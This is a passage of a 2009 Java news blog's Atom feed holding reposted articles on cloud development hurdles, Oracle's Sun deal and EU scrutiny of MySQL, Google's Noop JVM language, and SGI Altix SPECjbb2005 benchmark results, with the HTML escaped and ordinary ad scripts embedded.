Can it minimize the amount of bandwidth consumption in order to lower its runtime fees or make sure it serves the largest number of concurrent users on lowest costs?&lt;/span&gt;&lt;/p&gt; &lt;p&gt;7. With regards to the discovery of the different cloud providers’ API and services, are those automatically discovered, or should developers assume they need to develop their own calls for each service, using different API’s syntax?&lt;/p&gt; &lt;p&gt;&lt;span&gt;8. Lastly, there’s the question of flexibility and transparency. Developers may like to realize the true economical benefit of &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;the cloud&lt;/span&gt;&lt;span&gt; and move their application from one platform to the other without the need to change any line of code. We need to push for true abstractions of proprietary interfaces within the standard development &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;platforms&lt;/span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span&gt;The quest for a true cloud application framework, open enough to allow developers to make full use of existing code and skills, is probably at its infancy these days. But the requirements are clear, and once they’re met, we’ll see more developers step forward and invest in developing and migrating new and existing applications to &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;the cloud&lt;/span&gt;&lt;span&gt; to cut expenses both for themselves and for their &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;customers&lt;/span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span&gt;In addition to my company, Gizmox, there are a number of other players working on solutions of various kinds, including Potix, which is trying to devise a solution for the Java-based community (where Gizmox focuses on the .Net community), and Appcelerator, which provides a bridge between &lt;span style="text-decoration: underline; color: rgb(39, 86, 122); font-size: 14px; font-weight: 400; font-style: normal; font-family: 'Lucida Grande',Sans-Serif;" class="IL_LINK_STYLE"&gt;web development skills&lt;/span&gt; and the enterprise market.&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-4499231703126409273?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/4499231703126409273/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=4499231703126409273' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/4499231703126409273'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/4499231703126409273'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/8-roadblocks-software-developers-face.html' title='8 roadblocks software developers face'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-8466661455404381785</id><published>2009-09-17T13:58:00.000-07:00</published><updated>2009-09-17T14:03:11.769-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><category scheme='http://www.blogger.com/atom/ns#' term='Java programming tools'/><title type='text'>Oracle’s Sun Deal Snagged in Brussels</title><content type='html'>&lt;h2 class="implications"&gt;Summary&lt;/h2&gt;                     &lt;div&gt;Across the tech industry firms that used to have business alliances are now in competition and the courts are starting to step in.  With the Oracle and Sun deal, it's interesting that in the U.S. the hurdle was Java, a main reason for the Sun acquisition and a product that many Oracle rivals use.  In Brussels, the issue is MySQL and Oracle's the database software business and the fear that Oracle has little incentive to continue developing a product that could be disruptive to its core business.&lt;br /&gt;&lt;br /&gt;&lt;h2 class="analysis"&gt;Analysis&lt;/h2&gt;                     &lt;div&gt;&lt;div&gt;&lt;div&gt;The tech industry is facing many hurdles as companies that used to have business alliances together are now competing in various parts of their business.  And, as companies look to acquire other companies, the courts are starting to hold up the process as they hold off on their approval.&lt;/div&gt;&lt;div&gt;In the case of the Oracle and Sun deal, it's interesting that in the U.S. the hurdle was Java, the programming language and software development tools that are controlled by Sun and which Oracle has singled out as the main reason for its acquisition and a big issue was the fact that Oracle's rival IBM is a big user of Java.&lt;/div&gt;&lt;div&gt;In Brussels, the issue seems to be around MySQL and Oracle's the database software business because some Oracle rivals claim that the software maker would have little incentive to continue developing a product that could one day prove disruptive to Oracle's core business.&lt;/div&gt;&lt;div&gt;While all this is going on, Oracle is making inroads into the hardware business which is an area they traditionally haven't been in before.  While the proposed $7.4 billion takeover of Sun Microsystems is uncertain amid antitrust scrutiny, Oracle Corp. is moving ahead with a new database machine incorporating both Oracle and Sun technology, and is no longer making database machines with Hewlett-Packard.  (The earlier version of the machine was built by Oracle and Hewlett-Packard Co. and when it was introduced last year marked the first time in Oracle's history that the company sold computer hardware.)&lt;/div&gt;&lt;div&gt;Are the courts right to step in?  Maybe and maybe not.  I'd argue that you should let it all shake out in the industry and that some competition is good.  Acquisitions are hard to implement as company cultures collide and channels to market need to be retrained.  I find it most interesting that different courts are getting hung up on different parts of the business.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-8466661455404381785?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/8466661455404381785/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=8466661455404381785' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8466661455404381785'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8466661455404381785'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/oracles-sun-deal-snagged-in-brussels.html' title='Oracle’s Sun Deal Snagged in Brussels'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-3855302891084825397</id><published>2009-09-17T13:56:00.000-07:00</published><updated>2009-09-17T13:58:09.747-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Google Noop project features JVM-based language</title><content type='html'>&lt;h2&gt;Noop language project is intended to encourage industry best practices and discourage 'worst offenses'&lt;/h2&gt;&lt;br /&gt;&lt;p&gt;Google is hosting a language project called Noop, which initially targets the Java Virtual Machine and is intended to encourage industry best practices and discourage "worst offenses."&lt;/p&gt; &lt;p&gt;Noop is pronounced noh-awp, like the machine instruction, the &lt;a href="http://code.google.com/p/noop/" target="_blank"&gt;Noop Web page&lt;/a&gt; says. It is in early stages of development and is being worked on by people within Google and outside of Google, a Google representative said.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;[ Check out InfoWorld's &lt;a title="Java yields to other languages on the Java Virtual Machine" href="http://www.infoworld.com/d/developer-world/java-yields-other-languages-java-virtual-machine-462?source=fssr" target="_self"&gt;report on different languages for the JVM&lt;/a&gt;. | Keep up with app dev issues and trends with InfoWorld's &lt;a href="http://www.infoworld.com/blogs/neil-mcallister?source=fssr"&gt;Fatal Exception&lt;/a&gt; and &lt;a href="http://www.infoworld.com/blogs/martin-heller?source=fssr"&gt;Strategic Developer&lt;/a&gt; blogs. ]&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;"Noop is a new language that runs on the Java Virtual Machine and in source form looks similar to Java," the Web page says. "The goal is to build dependency injection and testability into the language from the beginning rather than rely on third-party libraries as all other languages do."&lt;/p&gt; &lt;p&gt;In addition to dependency injection, Noop favors testability, immutability, readable code, properties, and strong typing. It also endorses executable, up-to-date documentation. "Dependency Injection changed the way we write software. Spring overtook EJBs in thoughtful enterprises, and Guice and PicoContainer are an important part of well-written applications today," the page says.&lt;/p&gt; &lt;p&gt;Automated testing, especially unit testing, is a crucial part of building reliable software, Noop advocates said. "Any decent software shop should be writing some tests, the best ones are test-driven and have good code coverage," according to the Noop page.&lt;/p&gt; &lt;p&gt;Offered under an Apache 2.0 license, Noop is opposed to statics, implementation inheritance, primitives, and unnecessary boilerplates.&lt;/p&gt; &lt;p&gt;Three ways are planned for using Noop source files: through a Java translator that produces Java source; use of an interpreter that reads and evaluates Noop code and compiled to Java bytecode.&lt;/p&gt; &lt;p&gt;Advocates of Noop believe maintained code is read more than it is written, so readers are favored.  Enforcement of a public API separate from visibility of types and methods also is endorsed.&lt;/p&gt; &lt;p&gt;Noop joins other languages besides Java itself on the JVM, such as &lt;a title="Ruby apps development readied for Android" href="http://www.infoworld.com/d/developer-world/ruby-apps-development-readied-android-720" target="_self"&gt;JRuby&lt;/a&gt;, which provides an implementation of the Ruby language; Jython, supporting Python development, and Scala.&lt;/p&gt; &lt;p&gt;Noop's philosophy on stdlib (standard library) includes picking the best implementations from other languages, using JodaTime for Data/Time APIs, and using util.concurrent for concurrency and exposing Google collections. Injection will be done in the same style as Objective-C.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-3855302891084825397?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/3855302891084825397/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=3855302891084825397' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/3855302891084825397'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/3855302891084825397'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/google-noop-project-features-jvm-based.html' title='Google Noop project features JVM-based language'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-6133499703863244223</id><published>2009-09-17T13:55:00.000-07:00</published><updated>2009-09-17T13:56:55.934-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Google urges developers to get in loop with Noop</title><content type='html'>&lt;p class="standfirst"&gt;Java-like language addresses software's 'evil sins'&lt;/p&gt;&lt;p&gt;Web developers are being encouraged by the world’s largest ad broker to get in a lather about Google’s Noop language.&lt;/p&gt;  &lt;p&gt;Mountain View said that Java Virtual Machine-based &lt;a target="_blank" href="http://code.google.com/p/noop/"&gt;Noop&lt;/a&gt;, which is pronounced ‘noh-awp’, “attempts to blend the best lessons of languages old and new, while syntactically encouraging industry best-practice and discouraging the worst offences.”&lt;/p&gt;  &lt;div id="article-mpu-container"&gt; &lt;div style="width: auto; height: auto;" id="ad-mpu1-spot"&gt; &lt;noscript&gt; &lt;a href="http://ad.uk.doubleclick.net/jump/reg.channel.4159/software_security;dcove=d;sz=336x280;ord=SrKiYsCoZGUAAB1adRYAAAB@?" target="_blank"&gt;&lt;img src="http://ad.uk.doubleclick.net/ad/reg.channel.4159/software_security;tile=2;dcove=d;sz=336x280;ord=SrKiYsCoZGUAAB1adRYAAAB@?" alt="" /&gt;&lt;/a&gt; &lt;/noscript&gt; &lt;div class="ad-load" id="ad-mpu1"&gt;&lt;script type="text/javascript"&gt;RegAd('mpu1', 'reg.channel.4159/software_security', 'pos=top;sz=336x280', VCs);&lt;/script&gt;&lt;script type="text/javascript" src="http://ad.uk.doubleclick.net/adj/reg.channel.4159/software_security;tile=2;dcove=d;cta=0;ctb=0;ctc=redesign;sc=2;cid=;test=;pid=95016;pf=0;kw=google;kw=noop;vc=chl.software_security;vc=chl.enterprise;vc=soft.developer;pos=top;sz=336x280;ord=957585378?"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt; &lt;/script&gt;&lt;script&gt;google_protectAndRun("ads_core.google_render_ad", google_handleError, google_render_ad);&lt;/script&gt;&lt;ins style="border: medium none ; margin: 0pt; padding: 0pt; display: inline-table; height: 280px; position: relative; visibility: visible; width: 336px;"&gt;&lt;ins style="border: medium none ; margin: 0pt; padding: 0pt; display: block; height: 280px; position: relative; visibility: visible; width: 336px;"&gt;&lt;iframe allowtransparency="true" hspace="0" id="google_ads_frame3" marginheight="0" marginwidth="0" name="google_ads_frame" src="http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6455808816405956&amp;amp;output=html&amp;amp;h=280&amp;amp;slotname=7018535878&amp;amp;w=336&amp;amp;lmt=1253303703&amp;amp;flash=10.0.22&amp;amp;url=http%3A%2F%2Fwww.channelregister.co.uk%2F2009%2F09%2F17%2Fgoogle_noop%2F&amp;amp;ref=http%3A%2F%2Fnews.google.com%2Fnews%2Fstory%3Fncl%3DdMxU5-9HsfhKlEMWA2pfEOefVfPuM%26hl%3Den%26ned%3Dus&amp;amp;dt=1253303709430&amp;amp;prev_slotnames=6716234471&amp;amp;correlator=1253303705497&amp;amp;frm=0&amp;amp;ga_vid=136842840.1253303463&amp;amp;ga_sid=1253303463&amp;amp;ga_hid=2044913887&amp;amp;ga_fc=1&amp;amp;u_tz=180&amp;amp;u_his=2&amp;amp;u_java=1&amp;amp;u_h=768&amp;amp;u_w=1024&amp;amp;u_ah=738&amp;amp;u_aw=1024&amp;amp;u_cd=32&amp;amp;u_nplug=14&amp;amp;u_nmime=59&amp;amp;biw=1007&amp;amp;bih=576&amp;amp;fu=0&amp;amp;ifi=3&amp;amp;dtd=10&amp;amp;xpc=sriK0sFCvC&amp;amp;p=http%3A//www.channelregister.co.uk" style="left: 0pt; position: absolute; top: 0pt;" vspace="0" scrolling="no" width="336" frameborder="0" height="280"&gt;&lt;/iframe&gt;&lt;/ins&gt;&lt;/ins&gt;&lt;/div&gt;&lt;/div&gt;  &lt;p&gt;And apparently holier-than-now developers love the list of commandments handed down in this new language.&lt;/p&gt; &lt;/div&gt;  &lt;p&gt;“The goal is to build dependency injection and testability into the language from the beginning, rather than rely on third-party libraries as all other languages do,” said Google on the Noop code website.&lt;/p&gt;  &lt;p&gt;Noop, written under the Apache Licence 2.0 and hosted by Google, supports dependency injection in the language.&lt;/p&gt;  &lt;p&gt;Google said developers should be excited about Noop because the language places big emphasis on automated testing, which “is also a crucial part of building reliable software that you can feel confident about supporting and changing over its lifetime.”&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-6133499703863244223?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/6133499703863244223/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=6133499703863244223' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/6133499703863244223'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/6133499703863244223'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/google-urges-developers-to-get-in-loop.html' title='Google urges developers to get in loop with Noop'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-981658285451985399</id><published>2009-09-17T13:53:00.000-07:00</published><updated>2009-09-17T13:55:33.383-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Google Delivers New Java-like Language: Noop</title><content type='html'>&lt;span class="Article_Date" align="center" style="font-weight: bold; display: block; float: right; padding-top: 10px;"&gt;&lt;strong&gt;The tireless, developer-centric engineers at Google have come up with Noop, a new language that runs on the Java Virtual Machine (JVM).&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;The tireless, developer-centric engineers at Google have come up with &lt;a rel="nofollow" href="http://code.google.com/p/noop/"&gt;Noop&lt;/a&gt;, a new language that runs on the Java Virtual Machine.&lt;/p&gt; &lt;p&gt;"Noop (pronounced 'noh-awp,' like the machine instruction) is a new language that attempts to blend the best lessons of languages old and new, while syntactically encouraging industry best-practices and discouraging the worst offenses," according to a description of the language on the Noop language Website.&lt;/p&gt; &lt;p&gt;Noop supports dependency injection in the language, testability and immutability. Other key characteristics of Noop, according to the Noop site, include the following: "Readable code is more important than any syntax feature; Executable documentation that's never out-of-date; and Properties, strong typing, and sensible modern stdlib."&lt;/p&gt;&lt;span id="related-resources"&gt; &lt;table style="border-collapse: collapse; width: 1px; height: 11px;" border="1" bordercolor="#cccccc" cellpadding="0" cellspacing="0"&gt; &lt;tbody&gt;&lt;tr&gt; &lt;/tr&gt;&lt;tr&gt;     &lt;td valign="middle"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/span&gt;  &lt;p&gt;Moreover, according to the Noop language home page, some of the thinking behind the creation of the language includes:&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;"Dependency Injection changed the way we write software. Spring overtook EJB's [Enterprise JavaBeans] in thoughtful enterprises, and Guice and PicoContainer are an important part of well-written applications today. &lt;/p&gt; &lt;p&gt;"Automated testing, especially Unit Testing, is also a crucial part of building reliable software that you can feel confident about supporting and changing over its lifetime. Any decent software shop should be writing some tests, the best ones are test-driven and have good code coverage."&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;Discussed at the &lt;a rel="nofollow" href="http://openjdk.java.net/projects/mlvm/jvmlangsummit/"&gt;2009 JVM Language Summit &lt;/a&gt;on Sun Microsystems' campus in Santa Clara, Calif., on Sept. 16, Noop has quickly become the topic du jour in the Java development community. Indeed, the Noop site also said, "Noop is a new language that runs on the Java Virtual Machine, and in source form looks similar to Java. The goal is to build dependency injection and testability into the language from the beginning, rather than rely on third-party libraries as all other languages do."&lt;/p&gt; &lt;p&gt;In an August 2009 blog post, &lt;a rel="nofollow" href="http://blogs.sun.com/jag/entry/call_for_participation_jvm_language"&gt;James Gosling, the creator of Java &lt;/a&gt;and a Sun vice president and fellow, said of the JVM Language Summit:&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;"The JVM Language Summit is an open technical collaboration among language designers, compiler writers, tool builders, runtime engineers, and VM architects. We will share our experiences as creators of programming languages for the JVM and of the JVM itself. We also welcome non-JVM developers on similar technologies to attend or speak on their runtime, VM, or language of choice."&lt;br /&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-981658285451985399?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/981658285451985399/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=981658285451985399' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/981658285451985399'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/981658285451985399'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/google-delivers-new-java-like-language.html' title='Google Delivers New Java-like Language: Noop'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-6733642975948474927</id><published>2009-09-17T13:51:00.000-07:00</published><updated>2009-09-17T13:53:06.923-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>SGI's Itanium super smokes Java test</title><content type='html'>&lt;p class="standfirst"&gt;Don't bogart that Altix box&lt;/p&gt;&lt;div id="body"&gt; &lt;p&gt;Even before Rackable Systems &lt;a href="http://www.channelregister.co.uk/2009/04/01/rackable_sgi_supers/"&gt;bought&lt;/a&gt; the carcass of supercomputer maker Silicon Graphics in April and &lt;a target="new" href="http://www.channelregister.co.uk/2009/05/11/rackable_becomes_sgi/"&gt;took its name&lt;/a&gt; a month later, the future of the Itanium-based Altix shared memory supercomputers was in question.&lt;/p&gt;  &lt;p&gt;Since the takeover, the new SGI has been trying to stir up some interest in the existing machines while &lt;a href="http://www.theregister.co.uk/2009/07/27/sgi_server_roadmap/"&gt;not exactly committing to the future Itanium processors&lt;/a&gt; from Intel.&lt;/p&gt;  &lt;div id="article-mpu-container"&gt; &lt;div style="width: auto; height: auto;" id="ad-mpu1-spot"&gt; &lt;noscript&gt; &lt;a href="http://ad.uk.doubleclick.net/jump/reg.channel.4159/enterprise;dcove=d;sz=336x280;ord=SrKhbsCoZGQAAHJKnccAAABX?" target="_blank"&gt;&lt;img src="http://ad.uk.doubleclick.net/ad/reg.channel.4159/enterprise;tile=2;dcove=d;sz=336x280;ord=SrKhbsCoZGQAAHJKnccAAABX?" alt="" /&gt;&lt;/a&gt; &lt;/noscript&gt; &lt;div class="ad-load" id="ad-mpu1"&gt;&lt;script type="text/javascript"&gt;RegAd('mpu1', 'reg.channel.4159/enterprise', 'pos=top;sz=336x280', VCs);&lt;/script&gt;&lt;script type="text/javascript" src="http://ad.uk.doubleclick.net/adj/reg.channel.4159/enterprise;tile=2;dcove=d;cta=0;ctb=0;ctc=redesign;sc=1;cid=;test=;pid=95015;pf=0;kw=hpc;kw=ultraviolet;kw=silicon%20graphics;kw=java;kw=spec;kw=altix;vc=chl.enterprise;vc=soft.developer;pos=top;sz=336x280;ord=137805490?"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt; &lt;/script&gt;&lt;script&gt;google_protectAndRun("ads_core.google_render_ad", google_handleError, google_render_ad);&lt;/script&gt;&lt;ins style="border: medium none ; margin: 0pt; padding: 0pt; display: inline-table; height: 280px; position: relative; visibility: visible; width: 336px;"&gt;&lt;ins style="border: medium none ; margin: 0pt; padding: 0pt; display: block; height: 280px; position: relative; visibility: visible; width: 336px;"&gt;&lt;iframe allowtransparency="true" hspace="0" id="google_ads_frame3" marginheight="0" marginwidth="0" name="google_ads_frame" src="http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6455808816405956&amp;amp;output=html&amp;amp;h=280&amp;amp;slotname=7018535878&amp;amp;w=336&amp;amp;lmt=1253303459&amp;amp;flash=10.0.22&amp;amp;url=http%3A%2F%2Fwww.channelregister.co.uk%2F2009%2F09%2F17%2Fsgi_itanium_spec_test%2F&amp;amp;ref=http%3A%2F%2Fjava-center.blogspot.com%2Fsearch%2Flabel%2FJava%2520Tutorials&amp;amp;dt=1253303468895&amp;amp;prev_slotnames=6716234471&amp;amp;correlator=1253303463050&amp;amp;frm=0&amp;amp;ga_vid=136842840.1253303463&amp;amp;ga_sid=1253303463&amp;amp;ga_hid=594148121&amp;amp;ga_fc=0&amp;amp;u_tz=180&amp;amp;u_his=1&amp;amp;u_java=1&amp;amp;u_h=768&amp;amp;u_w=1024&amp;amp;u_ah=738&amp;amp;u_aw=1024&amp;amp;u_cd=32&amp;amp;u_nplug=14&amp;amp;u_nmime=59&amp;amp;biw=1007&amp;amp;bih=576&amp;amp;fu=0&amp;amp;ifi=3&amp;amp;dtd=11&amp;amp;xpc=LfIXyk6kE2&amp;amp;p=http%3A//www.channelregister.co.uk" style="left: 0pt; position: absolute; top: 0pt;" vspace="0" scrolling="no" width="336" frameborder="0" height="280"&gt;&lt;/iframe&gt;&lt;/ins&gt;&lt;/ins&gt;&lt;/div&gt;&lt;/div&gt;  &lt;p&gt;What is a supercomputer maker that wants to sell big boxes today (but which is working on a shared memory system code-named "UltraViolet" and taking the NUMAlink technology from the Altix machines and mixing it with the future Intel eight-core "Nehalem EX" processors due early next year) to do? Look for business in the data center by positioning the current shared memory Altix super as a great box to run Java applications, apparently.&lt;/p&gt; &lt;/div&gt;  &lt;p&gt;SGI teamed up with the &lt;a href="http://www.lrz-muenchen.de/"&gt;Leibniz Rechenzentrum&lt;/a&gt; in Germany, one of its largest customers, to run a series of commercial benchmark tests from the &lt;a href="http://www.spec.org/"&gt;Standard Performance Evaluation Corporation&lt;/a&gt; on its high-end Altix 4700 sporting dual-core, 1.6 GHz Itanium 9040 processors. The LRZ has a 1,024-core Altix 4700 set up with 4 TB of shared memory across the NUMA nodes and is one of the most powerful boxes that SGI ever sold. Just for fun, SGI and LRZ carved out half of the machine's cores (which are comprised of 128 two-socket blade servers) and 1.5 TB of shared main memory and let the SPECjbb2005 commercial Java benchmark run like a bat out of hell on the machine.&lt;/p&gt;  &lt;p&gt;The Altix 4700 setup was configured with Novell's SUSE Enterprise Linux 10 operating system and Oracle's JRockit JVM, and cranked through more than 9.6 million business operations per second (BOPS) on the SPECjbb2005 test. (One wonders why SGI and LRZ didn't give the SPEC Java test the whole machine, and perhaps bust through 19 million BOPS.)&lt;/p&gt;  &lt;p&gt;The benchmark tests come a month after server maker Sun Microsystems was &lt;a target="new" href="http://www.theregister.co.uk/2009/08/24/sun_3leaf_specjbb_tests/"&gt;bragging&lt;/a&gt; about how well its Sparc T5440 quad-socket servers using its &lt;a href="http://www.theregister.co.uk/2009/07/22/sun_sparc_t_crank/"&gt;revved&lt;/a&gt; 1.6 GHz T2+ did on the SPECjbb2005 test. (The SPECjbb2005 test is essentially the TPC-C online transaction processing benchmark implemented in Java and without the ridiculous disk storage requirements that the TPC-C test carries.) As &lt;em&gt;El Reg&lt;/em&gt; reported, a T5440 (which has 32 cores and 256 threads) with 256 GB of main memory was able to deliver 841,380 BOPS using Solaris 10 and the HotSpot JVM from Sun.&lt;/p&gt;  &lt;p&gt;While that is pretty good BOPS, upstart server maker &lt;a href="http://www.3leafsystems.com/"&gt;3Leaf Systems&lt;/a&gt; stole the SPECjbb2005 show with a NUMA cluster based on an InfiniBand backbone and special three-socket system boards that put two quad-core Opteron 8384 processors and a special NUMA ASIC called Voyager on the SPECjbb2005 test. With 128 cores and 488 GB of main memory, running 3Leaf's own DVVM hypervisor and the combination of Red Hat Enterprise Linux 5.2 and Oracle's JRockit JVM, the 3Leaf Voyager box cranked through 5.5 million BOPS.&lt;/p&gt;  &lt;p&gt;Here's the important part if you are SGI. An Altix 4700 tested back in the fall of 2007 held the SPECjbb2005 record, surpassing 5.18 million BOPS.&lt;/p&gt;  &lt;p&gt;With 3Leaf Systems getting ready to do a server launch any day now and very likely using more powerful six-core Opteron processors and faster interconnects, SGI has to do a pre-emptive strike on 3Leaf's impending launch to hold the title. 3Leaf was mum on its plans, and sources at the company say that it only did the SPEC Java test at all because it was a "business requirement" and that it would have rather waited for its fall product launch.&lt;/p&gt;  &lt;p&gt;While all of this leapfrogging is technically interesting, I don't know of one Altix 4700 that has ever been installed to run Java applications or commercial ERP systems, but over the years, SGI (the old SGI, that is), has occasionally run some tests to try to stir up interest.&lt;/p&gt;  &lt;p&gt;What many of us observed so long ago is that for SGI to survive, it might need to go broad and support commercialized workloads like Java middleware or databases for transaction processing. (That was not the original design intent of the "Starfire" 64-socket server that SGI stupidly sold to Sun Microsystems in 1996, but Sun took that box and rode the dot-com boom with it brilliantly, becoming a player in commercial data center computing in the process.) But for SGI to go corporate would have taken precious resources away from the central HPC applications that the Altix 4700 was truly designed to handle. So SGI dabbled here and there, but never made a big push. Perhaps with the Nehalem EX-based UltraViolet NUMA machines due early next year (maybe), this will change. But it seems unlikely that SGI will do anything with the Itanium-based Altix boxes other than to continue to sell and support what it has. (Yes, I know there is some vague talk about possibly supporting the future "Tukwila" quad-core Itaniums in the UltraViolet systems.)&lt;/p&gt;  &lt;p&gt;The real pity (perhaps) is that Java, because of its interpreted nature and therefore its high overhead compared to compiled languages, has not found a place in mainstream supercomputing. But HPC shops like compiled programs written in Fortran and C++ because they run close to the iron. And commercial data centers, which are more conservative than bleeding-edge HPC labs, are unlikely to venture far from the familiar x64 or RISC/Unix SMP platforms on which they currently run Java and database workloads.&lt;/p&gt;  &lt;p&gt;SGI has also put the Altix 4700 through a bunch of other SPEC paces. The recent tests include the SPECint_rate_006 integer benchmark, the result of which you can see &lt;a href="http://www.spec.org/cpu2006/results/res2009q3/cpu2006-20090802-08313.html"&gt;here&lt;/a&gt; and which shows the Altix 4700 at LRZ with all 1,024 cores humming hitting 9,030 on the test. (By comparison, a two-socket Xeon 5570 box does about 250 on this test, and this result from SGI is over four times as high as the largest SMP boxes from IBM, Sun, and Fujitsu tested to date.)&lt;/p&gt;  &lt;p&gt;SGI also put the SPECfp_rate2000 floating point test on the LRZ box, and got the same 10,600 rating that it got on a similarly sized box using the faster 1.66 GHz Itanium 9150s it tested in January 2009. You can see 